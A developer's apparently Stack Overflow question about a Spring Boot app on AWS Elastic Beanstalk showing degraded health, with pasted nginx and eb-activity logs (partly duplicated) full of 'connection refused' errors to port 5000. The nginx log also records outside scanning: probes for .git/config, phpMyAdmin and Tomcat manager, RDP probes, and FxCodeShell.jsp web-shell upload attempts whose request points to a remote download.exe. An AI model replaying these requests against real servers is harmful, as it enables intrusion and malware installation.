        2019/03/26 03:02:47 [error] 13686#0: *15 connect() failed (111: Connection refused) while connecting to upstream, client: 139.162.106.181, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"
        2019/03/26 03:16:02 [error] 13686#0: *17 connect() failed (111: Connection refused) while connecting to upstream, client: 139.180.216.25, server: , request: "GET /.git/config HTTP/1.1", upstream: "http://127.0.0.1:5000/.git/config", host: "18.224.86.21"
        2019/03/26 03:16:03 [warn] 13686#0: *17 using uninitialized "year" variable while logging request, client: 139.180.216.25, server: , request: "�"
        2019/03/26 03:16:03 [warn] 13686#0: *17 using uninitialized "month" variable while logging request, client: 139.180.216.25, server: , request: "�"
        2019/03/26 03:16:03 [warn] 13686#0: *17 using uninitialized "day" variable while logging request, client: 139.180.216.25, server: , request: "�"
        2019/03/26 03:16:03 [warn] 13686#0: *17 using uninitialized "hour" variable while logging request, client: 139.180.216.25, server: , request: "�"
        2019/03/26 07:54:23 [error] 13686#0: *19 connect() failed (111: Connection refused) while connecting to upstream, client: 189.159.133.125, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/26 08:30:35 [error] 13686#0: *22 connect() failed (111: Connection refused) while connecting to upstream, client: 216.245.197.254, server: , request: "HEAD /robots.txt HTTP/1.0", upstream: "http://127.0.0.1:5000/robots.txt"
        2019/03/26 09:17:56 [error] 13686#0: *24 connect() failed (111: Connection refused) while connecting to upstream, client: 172.104.108.109, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/26 09:42:10 [error] 13686#0: *26 connect() failed (111: Connection refused) while connecting to upstream, client: 80.50.114.42, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/26 11:07:48 [error] 13686#0: *28 connect() failed (111: Connection refused) while connecting to upstream, client: 177.73.2.111, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/26 11:44:24 [error] 13686#0: *30 connect() failed (111: Connection refused) while connecting to upstream, client: 124.158.168.182, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/26 11:53:07 [error] 13686#0: *32 connect() failed (111: Connection refused) while connecting to upstream, client: 115.236.191.214, server: , request: "GET /index.php HTTP/1.1", upstream: "http://127.0.0.1:5000/index.php", host: "18.224.86.21"
        2019/03/26 11:53:07 [error] 13686#0: *32 connect() failed (111: Connection refused) while connecting to upstream, client: 115.236.191.214, server: , request: "GET /phpmyadmin/index.php HTTP/1.1", upstream: "http://127.0.0.1:5000/phpmyadmin/index.php", host: "18.224.86.21"
        2019/03/26 12:16:28 [error] 13686#0: *35 connect() failed (111: Connection refused) while connecting to upstream, client: 5.219.91.56, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/26 12:26:05 [error] 13686#0: *37 connect() failed (111: Connection refused) while connecting to upstream, client: 177.189.43.78, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/26 13:21:12 [error] 13686#0: *39 connect() failed (111: Connection refused) while connecting to upstream, client: 201.18.41.2, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"





        /var/log/eb-activity.log



         creating: /var/app/staging/StudentCousr/target/maven-status/maven-compiler-plugin/testCompile/
        creating: /var/app/staging/StudentCousr/target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/


        extracting: /var/app/staging/StudentCousr/target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/inputFiles.lst

        inflating: /var/app/staging/StudentCousr/target/StudentCousr-0.0.1-SNAPSHOT.jar

        inflating: /var/app/staging/StudentCousr/target/StudentCousr-0.0.1-SNAPSHOT.jar.original

        creating: /var/app/staging/StudentCousr/target/test-classes/
        Executing: HOME=/tmp /opt/elasticbeanstalk/lib/ruby/bin/ruby /opt/elasticbeanstalk/lib/ruby/bin/foreman export supervisord --procfile /var/app/staging/Procfile --root /var/app/current --app application --log /var/log/ --user webapp --template /opt/elasticbeanstalk/private/config/foreman/supervisord --env /var/elasticbeanstalk/staging/elasticbeanstalk.env /var/elasticbeanstalk/staging/supervisor
        [foreman export] writing: application.conf
        Executing: /opt/elasticbeanstalk/bin/log-conf -n supervisor -l'/var/log/supervisord.log' -t bundlelogs



        Executing: /opt/elasticbeanstalk/bin/log-conf -n containerlistener -l'/var/log/eb-container-listener.log' -t bundlelogs



        [2019-03-25T20:05:16.005Z] INFO [13493] - [Application restart/RestartAppServerStage0/RestartAppServerPreHook/01_configure_xray.sh] : Starting activity...
        [2019-03-25T20:05:16.116Z] INFO [13493] - [Application restart/RestartAppServerStage0/RestartAppServerPreHook/01_configure_xray.sh] : Completed activity.
        [2019-03-25T20:05:16.116Z] INFO [13493] - [Application restart/RestartAppServerStage0/RestartAppServerPreHook/03_configure_proxy.sh] : Starting activity...
        [2019-03-25T20:05:16.287Z] INFO [13493] - [Application restart/RestartAppServerStage0/RestartAppServerPreHook/03_configure_proxy.sh] : Completed activity. Result:
        Executing: /opt/elasticbeanstalk/bin/log-conf -n nginx -l'/var/log/nginx/*'



        Executing: /usr/sbin/nginx -t -c /var/elasticbeanstalk/staging/nginx/nginx.conf
        nginx: the configuration file /var/elasticbeanstalk/staging/nginx/nginx.conf syntax is ok
        nginx: configuration file /var/elasticbeanstalk/staging/nginx/nginx.conf test is successful
        [2019-03-25T20:05:16.287Z] INFO [13493] - [Application restart/RestartAppServerStage0/RestartAppServerPreHook] : Completed activity. Result:
        Successfully execute hooks in directory /opt/elasticbeanstalk/hooks/restartappserver/pre.
        [2019-03-25T20:05:16.287Z] INFO [13493] - [Application restart/RestartAppServerStage0] : Completed activity. Result:
        Application restart - Command CMD-RestartAppServer stage 0 completed
        [2019-03-25T20:05:16.287Z] INFO [13493] - [Application restart/RestartAppServerStage1] : Starting activity...
        [2019-03-25T20:05:16.287Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook] : Starting activity...
        [2019-03-25T20:05:16.288Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/01_stop_before_promote.sh] : Starting activity...
        [2019-03-25T20:05:27.929Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/01_stop_before_promote.sh] : Completed activity. Result:
        Executing: /usr/local/bin/supervisorctl -c /etc/supervisor/supervisord.conf stop application:*



        Process termination taking longer than 10 seconds.
        Executing: /usr/local/bin/supervisorctl -c /etc/supervisor/supervisord.conf stop all
        listener:supervisor_listener: stopped
        Executing: /sbin/status supervisord
        supervisord start/running, process 3598
        Executing: /sbin/stop supervisord
        supervisord stop/waiting
        [2019-03-25T20:05:27.929Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/01stop_xray.sh] : Starting activity...
        [2019-03-25T20:05:28.045Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/01stop_xray.sh] : Completed activity. Result:
        Executing: if ( initctl status xray | grep start ); then initctl stop xray; fi



        [2019-03-25T20:05:28.045Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/02start_xray.sh] : Starting activity...
        [2019-03-25T20:05:28.152Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/02start_xray.sh] : Completed activity.
        [2019-03-25T20:05:28.152Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/03_stop_proxy.sh] : Starting activity...
        [2019-03-25T20:05:28.368Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/03_stop_proxy.sh] : Completed activity. Result:
        Executing: service nginx stop
        Stopping nginx: [ OK ]
        [2019-03-25T20:05:28.368Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/07_start_application.sh] : Starting activity...
        [2019-03-25T20:05:28.475Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/07_start_application.sh] : Completed activity. Result:
        Executing: /sbin/start supervisord
        supervisord start/running, process 13637
        [2019-03-25T20:05:28.475Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/09_start_proxy.sh] : Starting activity...
        [2019-03-25T20:05:31.076Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/09_start_proxy.sh] : Completed activity. Result:
        Executing: service nginx stop



        Executing: service nginx start
        Starting nginx: [ OK ]
        Executing: /opt/elasticbeanstalk/bin/healthd-track-pidfile --proxy nginx



        Executing: /opt/elasticbeanstalk/bin/healthd-configure --appstat-log-path /var/log/nginx/healthd/application.log --appstat-unit sec --appstat-timestamp-on 'completion'



        Executing: /opt/elasticbeanstalk/bin/healthd-restart



        [2019-03-25T20:05:31.076Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/11_stop_after_promote.sh] : Starting activity...
        [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/11_stop_after_promote.sh] : Completed activity.
        [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook] : Completed activity. Result:
        Successfully execute hooks in directory /opt/elasticbeanstalk/hooks/restartappserver/enact.
        [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerPostHook] : Starting activity...
        [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerPostHook] : Completed activity. Result:
        Successfully execute hooks in directory /opt/elasticbeanstalk/hooks/restartappserver/post.
        [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/RestartAppServerStage1] : Completed activity. Result:
        Application restart - Command CMD-RestartAppServer stage 1 completed
        [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/AddonsAfter] : Starting activity...
        [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/AddonsAfter/ConfigLogRotation] : Starting activity...
        [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/AddonsAfter/ConfigLogRotation/10-config.sh] : Starting activity...
        [2019-03-25T20:05:31.593Z] INFO [13493] - [Application restart/AddonsAfter/ConfigLogRotation/10-config.sh] : Completed activity. Result:
        Disabled forced hourly log rotation.
        [2019-03-25T20:05:31.593Z] INFO [13493] - [Application restart/AddonsAfter/ConfigLogRotation] : Completed activity. Result:
        Successfully execute hooks in directory /opt/elasticbeanstalk/addons/logpublish/hooks/config.
        [2019-03-25T20:05:31.593Z] INFO [13493] - [Application restart/AddonsAfter] : Completed activity.
        [2019-03-25T20:05:31.593Z] INFO [13493] - [Application restart] : Completed activity. Result:
        Application restart - Command CMD-RestartAppServer succeeded
        [2019-03-25T20:18:21.683Z] INFO [14170] - [CMD-TailLogs] : Starting activity...
        [2019-03-25T20:18:21.683Z] INFO [14170] - [CMD-TailLogs/AddonsBefore] : Starting activity...
        [2019-03-25T20:18:21.683Z] INFO [14170] - [CMD-TailLogs/AddonsBefore] : Completed activity.
        [2019-03-25T20:18:21.683Z] INFO [14170] - [CMD-TailLogs/TailLogs] : Starting activity...
        [2019-03-25T20:18:21.683Z] INFO [14170] - [CMD-TailLogs/TailLogs/TailLogs] : Starting activity...
        [2019-03-25T20:18:21.916Z] INFO [14170] - [CMD-TailLogs/TailLogs/TailLogs] : Completed activity.
        [2019-03-25T20:18:21.916Z] INFO [14170] - [CMD-TailLogs/TailLogs] : Completed activity. Result:
        CMD-TailLogs - stage 0 - Command CMD-TailLogs stage 0 completed
        [2019-03-25T20:18:21.916Z] INFO [14170] - [CMD-TailLogs/AddonsAfter] : Starting activity...
        [2019-03-25T20:18:21.916Z] INFO [14170] - [CMD-TailLogs/AddonsAfter] : Completed activity.
        [2019-03-25T20:18:21.916Z] INFO [14170] - [CMD-TailLogs] : Completed activity. Result:
        CMD-TailLogs - Command CMD-TailLogs succeeded
        [2019-03-26T14:07:24.343Z] INFO [14928] - [CMD-TailLogs] : Starting activity...
        [2019-03-26T14:07:24.344Z] INFO [14928] - [CMD-TailLogs/AddonsBefore] : Starting activity...
        [2019-03-26T14:07:24.344Z] INFO [14928] - [CMD-TailLogs/AddonsBefore] : Completed activity.
        [2019-03-26T14:07:24.344Z] INFO [14928] - [CMD-TailLogs/TailLogs] : Starting activity...
        [2019-03-26T14:07:24.344Z] INFO [14928] - [CMD-TailLogs/TailLogs/TailLogs] : Starting activity...











      share|improve this question
















      • I deployed the Java spring boot application on AWS as referred from the medium link https://medium.com/@ryanzhou7/running-spring-boot-on-amazon-web-services-for-free-f3b0aeec809

      • Even after changing server port configuration in both AWS and application.properties file in the java STS application, server health status shown as degraded

      • I collected error logs and researched shows results related to nginx connection lost issue

      • can you guys help to me figure out what mistake occured with your suggestions

      • My entire spring boot application is available in github and its link: https://github.com/aarivalagan/student-Application


      • Mentioned errors in the log file are




        /var/log/nginx/error.log




        2019/03/24 16:40:01 [error] 3647#0: *1 connect() failed (111: Connection refused) while connecting to upstream, client: 62.176.27.243, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/24 19:51:07 [error] 3647#0: *3 connect() failed (111: Connection refused) while connecting to upstream, client: 178.73.215.171, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:5000/"



        2019/03/24 21:17:17 [error] 3647#0: *5 connect() failed (111: Connection refused) while connecting to upstream, client: 138.0.227.98, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/24 21:53:33 [error] 3647#0: *7 connect() failed (111: Connection refused) while connecting to upstream, client: 109.199.251.172, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 02:23:47 [error] 3647#0: *9 connect() failed (111: Connection refused) while connecting to upstream, client: 96.127.158.234, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"



        2019/03/25 04:35:27 [error] 3647#0: *11 connect() failed (111: Connection refused) while connecting to upstream, client: 181.161.56.28, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 04:35:27 [error] 3647#0: *13 connect() failed (111: Connection refused) while connecting to upstream, client: 181.161.56.28, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 04:35:27 [error] 3647#0: *15 connect() failed (111: Connection refused) while connecting to upstream, client: 181.161.56.28, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 05:11:44 [error] 3647#0: *17 connect() failed (111: Connection refused) while connecting to upstream, client: 177.215.69.235, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 05:45:33 [error] 3647#0: *19 connect() failed (111: Connection refused) while connecting to upstream, client: 107.170.198.36, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"



        2019/03/25 06:12:52 [error] 3647#0: *21 connect() failed (111: Connection refused) while connecting to upstream, client: 2.78.57.211, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 06:45:10 [error] 3647#0: *23 connect() failed (111: Connection refused) while connecting to upstream, client: 201.43.129.128, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 09:52:47 [error] 3647#0: *25 connect() failed (111: Connection refused) while connecting to upstream, client: 92.38.106.94, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 11:16:00 [error] 3647#0: *27 connect() failed (111: Connection refused) while connecting to upstream, client: 177.9.249.34, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 11:24:28 [error] 3647#0: *29 connect() failed (111: Connection refused) while connecting to upstream, client: 79.16.154.57, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 12:04:23 [error] 3647#0: *31 connect() failed (111: Connection refused) while connecting to upstream, client: 177.103.123.176, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 12:36:34 [error] 3647#0: *33 connect() failed (111: Connection refused) while connecting to upstream, client: 93.115.226.50, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 14:12:56 [error] 3647#0: *35 connect() failed (111: Connection refused) while connecting to upstream, client: 125.64.94.197, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:5000/"



        2019/03/25 14:16:34 [warn] 3647#0: *37 using uninitialized "year" variable while logging request, client: 141.98.81.185, server: , request: "��/*����Cookie: mstshash=Administr"



        2019/03/25 14:16:34 [warn] 3647#0: *37 using uninitialized "month" variable while logging request, client: 141.98.81.185, server: , request: "��/*����Cookie: mstshash=Administr"



        2019/03/25 14:16:34 [warn] 3647#0: *37 using uninitialized "day" variable while logging request, client: 141.98.81.185, server: , request: "��/*����Cookie: mstshash=Administr"



        2019/03/25 14:16:34 [warn] 3647#0: *37 using uninitialized "hour" variable while logging request, client: 141.98.81.185, server: , request: "��/*����Cookie: mstshash=Administr"



        2019/03/25 14:45:42 [error] 3647#0: *38 connect() failed (111: Connection refused) while connecting to upstream, client: 140.249.198.51, server: , request: "PUT /FxCodeShell.jsp%20 HTTP/1.1", upstream: "http://127.0.0.1:5000/FxCodeShell.jsp%20", host: "18.224.86.21", referrer: "http://18.224.86.21:80/FxCodeShell.jsp%20"
        2019/03/25 14:45:42 [error] 3647#0: *38 connect() failed (111: Connection refused) while connecting to upstream, client: 140.249.198.51, server: , request: "PUT /FxCodeShell.jsp::$DATA HTTP/1.1", upstream: "http://127.0.0.1:5000/FxCodeShell.jsp::$DATA", host: "18.224.86.21", referrer: "http://18.224.86.21:80/FxCodeShell.jsp::$DATA"
        2019/03/25 14:45:42 [error] 3647#0: *38 connect() failed (111: Connection refused) while connecting to upstream, client: 140.249.198.51, server: , request: "PUT /FxCodeShell.jsp/ HTTP/1.1", upstream: "http://127.0.0.1:5000/FxCodeShell.jsp/", host: "18.224.86.21", referrer: "http://18.224.86.21:80/FxCodeShell.jsp/"
        2019/03/25 14:45:42 [error] 3647#0: *38 connect() failed (111: Connection refused) while connecting to upstream, client: 140.249.198.51, server: , request: "GET /FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http://fid.hognoob.se/download.exe HTTP/1.1", upstream: "http://127.0.0.1:5000/FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http://fid.hognoob.se/download.exe", host: "18.224.86.21", referrer: "http://18.224.86.21:80/FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http://fid.hognoob.se/download.exe"
        2019/03/25 15:20:45 [error] 3647#0: *43 connect() failed (111: Connection refused) while connecting to upstream, client: 36.68.204.27, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/25 17:08:14 [error] 3647#0: *46 connect() failed (111: Connection refused) while connecting to upstream, client: 103.240.91.110, server: , request: "GET /manager/html HTTP/1.1", upstream: "http://127.0.0.1:5000/manager/html", host: "18.224.86.21"
        2019/03/25 17:51:20 [error] 3647#0: *48 connect() failed (111: Connection refused) while connecting to upstream, client: 34.207.185.88, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"
        2019/03/25 18:07:40 [error] 3647#0: *50 connect() failed (111: Connection refused) while connecting to upstream, client: 103.242.59.230, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/25 19:48:41 [error] 3647#0: *52 connect() failed (111: Connection refused) while connecting to upstream, client: 45.238.164.36, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/25 20:20:45 [warn] 13686#0: *1 using uninitialized "year" variable while logging request, client: 211.23.154.136, server: , request: "�u��qß;Ÿùçäé#Ôo¾%Ú„åÉ÷„9Q^tÕ¢b¹=X��À/À+ÀÀÀÀ ÀÀ"
        2019/03/25 20:20:45 [warn] 13686#0: *1 using uninitialized "month" variable while logging request, client: 211.23.154.136, server: , request: "�u��qß;Ÿùçäé#Ôo¾%Ú„åÉ÷„9Q^tÕ¢b¹=X��À/À+ÀÀÀÀ ÀÀ"
        2019/03/25 20:20:45 [warn] 13686#0: *1 using uninitialized "day" variable while logging request, client: 211.23.154.136, server: , request: "�u��qß;Ÿùçäé#Ôo¾%Ú„åÉ÷„9Q^tÕ¢b¹=X��À/À+ÀÀÀÀ ÀÀ"
        2019/03/25 20:20:45 [warn] 13686#0: *1 using uninitialized "hour" variable while logging request, client: 211.23.154.136, server: , request: "�u��qß;Ÿùçäé#Ôo¾%Ú„åÉ÷„9Q^tÕ¢b¹=X��À/À+ÀÀÀÀ ÀÀ"
        2019/03/25 21:46:32 [error] 13686#0: *2 connect() failed (111: Connection refused) while connecting to upstream, client: 185.228.80.33, server: , request: "GET /telephony-service.html HTTP/1.1", upstream: "http://127.0.0.1:5000/telephony-service.html", host: "18.224.86.21"
        2019/03/25 21:56:05 [warn] 13686#0: *4 using uninitialized "year" variable while logging request, client: 46.161.27.51, server: , request: "��/*����Cookie: mstshash=Administr"
        2019/03/25 21:56:05 [warn] 13686#0: *4 using uninitialized "month" variable while logging request, client: 46.161.27.51, server: , request: "��/*����Cookie: mstshash=Administr"
        2019/03/25 21:56:05 [warn] 13686#0: *4 using uninitialized "day" variable while logging request, client: 46.161.27.51, server: , request: "��/*����Cookie: mstshash=Administr"
        2019/03/25 21:56:05 [warn] 13686#0: *4 using uninitialized "hour" variable while logging request, client: 46.161.27.51, server: , request: "��/*����Cookie: mstshash=Administr"
        2019/03/25 22:18:47 [error] 13686#0: *5 connect() failed (111: Connection refused) while connecting to upstream, client: 185.20.6.41, server: , request: "GET /FxCodeShell.jsp%20 HTTP/1.1", upstream: "http://127.0.0.1:5000/FxCodeShell.jsp%20", host: "18.224.86.21"
        2019/03/25 22:35:11 [error] 13686#0: *7 connect() failed (111: Connection refused) while connecting to upstream, client: 110.137.176.241, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/26 01:22:37 [error] 13686#0: *9 connect() failed (111: Connection refused) while connecting to upstream, client: 145.239.81.228, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"
        2019/03/26 01:50:00 [error] 13686#0: *11 connect() failed (111: Connection refused) while connecting to upstream, client: 148.163.128.145, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"
        2019/03/26 02:29:45 [error] 13686#0: *13 connect() failed (111: Connection refused) while connecting to upstream, client: 194.44.86.82, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/26 03:02:47 [error] 13686#0: *15 connect() failed (111: Connection refused) while connecting to upstream, client: 139.162.106.181, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"
        2019/03/26 03:16:02 [error] 13686#0: *17 connect() failed (111: Connection refused) while connecting to upstream, client: 139.180.216.25, server: , request: "GET /.git/config HTTP/1.1", upstream: "http://127.0.0.1:5000/.git/config", host: "18.224.86.21"
        2019/03/26 03:16:03 [warn] 13686#0: *17 using uninitialized "year" variable while logging request, client: 139.180.216.25, server: , request: "�"
        2019/03/26 03:16:03 [warn] 13686#0: *17 using uninitialized "month" variable while logging request, client: 139.180.216.25, server: , request: "�"
        2019/03/26 03:16:03 [warn] 13686#0: *17 using uninitialized "day" variable while logging request, client: 139.180.216.25, server: , request: "�"
        2019/03/26 03:16:03 [warn] 13686#0: *17 using uninitialized "hour" variable while logging request, client: 139.180.216.25, server: , request: "�"
        2019/03/26 07:54:23 [error] 13686#0: *19 connect() failed (111: Connection refused) while connecting to upstream, client: 189.159.133.125, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/26 08:30:35 [error] 13686#0: *22 connect() failed (111: Connection refused) while connecting to upstream, client: 216.245.197.254, server: , request: "HEAD /robots.txt HTTP/1.0", upstream: "http://127.0.0.1:5000/robots.txt"
        2019/03/26 09:17:56 [error] 13686#0: *24 connect() failed (111: Connection refused) while connecting to upstream, client: 172.104.108.109, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/26 09:42:10 [error] 13686#0: *26 connect() failed (111: Connection refused) while connecting to upstream, client: 80.50.114.42, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/26 11:07:48 [error] 13686#0: *28 connect() failed (111: Connection refused) while connecting to upstream, client: 177.73.2.111, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/26 11:44:24 [error] 13686#0: *30 connect() failed (111: Connection refused) while connecting to upstream, client: 124.158.168.182, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/26 11:53:07 [error] 13686#0: *32 connect() failed (111: Connection refused) while connecting to upstream, client: 115.236.191.214, server: , request: "GET /index.php HTTP/1.1", upstream: "http://127.0.0.1:5000/index.php", host: "18.224.86.21"
        2019/03/26 11:53:07 [error] 13686#0: *32 connect() failed (111: Connection refused) while connecting to upstream, client: 115.236.191.214, server: , request: "GET /phpmyadmin/index.php HTTP/1.1", upstream: "http://127.0.0.1:5000/phpmyadmin/index.php", host: "18.224.86.21"
        2019/03/26 12:16:28 [error] 13686#0: *35 connect() failed (111: Connection refused) while connecting to upstream, client: 5.219.91.56, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/26 12:26:05 [error] 13686#0: *37 connect() failed (111: Connection refused) while connecting to upstream, client: 177.189.43.78, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/26 13:21:12 [error] 13686#0: *39 connect() failed (111: Connection refused) while connecting to upstream, client: 201.18.41.2, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"





        /var/log/eb-activity.log



         creating: /var/app/staging/StudentCousr/target/maven-status/maven-compiler-plugin/testCompile/
        creating: /var/app/staging/StudentCousr/target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/


        extracting: /var/app/staging/StudentCousr/target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/inputFiles.lst

        inflating: /var/app/staging/StudentCousr/target/StudentCousr-0.0.1-SNAPSHOT.jar

        inflating: /var/app/staging/StudentCousr/target/StudentCousr-0.0.1-SNAPSHOT.jar.original

        creating: /var/app/staging/StudentCousr/target/test-classes/
        Executing: HOME=/tmp /opt/elasticbeanstalk/lib/ruby/bin/ruby /opt/elasticbeanstalk/lib/ruby/bin/foreman export supervisord --procfile /var/app/staging/Procfile --root /var/app/current --app application --log /var/log/ --user webapp --template /opt/elasticbeanstalk/private/config/foreman/supervisord --env /var/elasticbeanstalk/staging/elasticbeanstalk.env /var/elasticbeanstalk/staging/supervisor
        [foreman export] writing: application.conf
        Executing: /opt/elasticbeanstalk/bin/log-conf -n supervisor -l'/var/log/supervisord.log' -t bundlelogs



        Executing: /opt/elasticbeanstalk/bin/log-conf -n containerlistener -l'/var/log/eb-container-listener.log' -t bundlelogs



        [2019-03-25T20:05:16.005Z] INFO [13493] - [Application restart/RestartAppServerStage0/RestartAppServerPreHook/01_configure_xray.sh] : Starting activity...
        [2019-03-25T20:05:16.116Z] INFO [13493] - [Application restart/RestartAppServerStage0/RestartAppServerPreHook/01_configure_xray.sh] : Completed activity.
        [2019-03-25T20:05:16.116Z] INFO [13493] - [Application restart/RestartAppServerStage0/RestartAppServerPreHook/03_configure_proxy.sh] : Starting activity...
        [2019-03-25T20:05:16.287Z] INFO [13493] - [Application restart/RestartAppServerStage0/RestartAppServerPreHook/03_configure_proxy.sh] : Completed activity. Result:
        Executing: /opt/elasticbeanstalk/bin/log-conf -n nginx -l'/var/log/nginx/*'



        Executing: /usr/sbin/nginx -t -c /var/elasticbeanstalk/staging/nginx/nginx.conf
        nginx: the configuration file /var/elasticbeanstalk/staging/nginx/nginx.conf syntax is ok
        nginx: configuration file /var/elasticbeanstalk/staging/nginx/nginx.conf test is successful
        [2019-03-25T20:05:16.287Z] INFO [13493] - [Application restart/RestartAppServerStage0/RestartAppServerPreHook] : Completed activity. Result:
        Successfully execute hooks in directory /opt/elasticbeanstalk/hooks/restartappserver/pre.
        [2019-03-25T20:05:16.287Z] INFO [13493] - [Application restart/RestartAppServerStage0] : Completed activity. Result:
        Application restart - Command CMD-RestartAppServer stage 0 completed
        [2019-03-25T20:05:16.287Z] INFO [13493] - [Application restart/RestartAppServerStage1] : Starting activity...
        [2019-03-25T20:05:16.287Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook] : Starting activity...
        [2019-03-25T20:05:16.288Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/01_stop_before_promote.sh] : Starting activity...
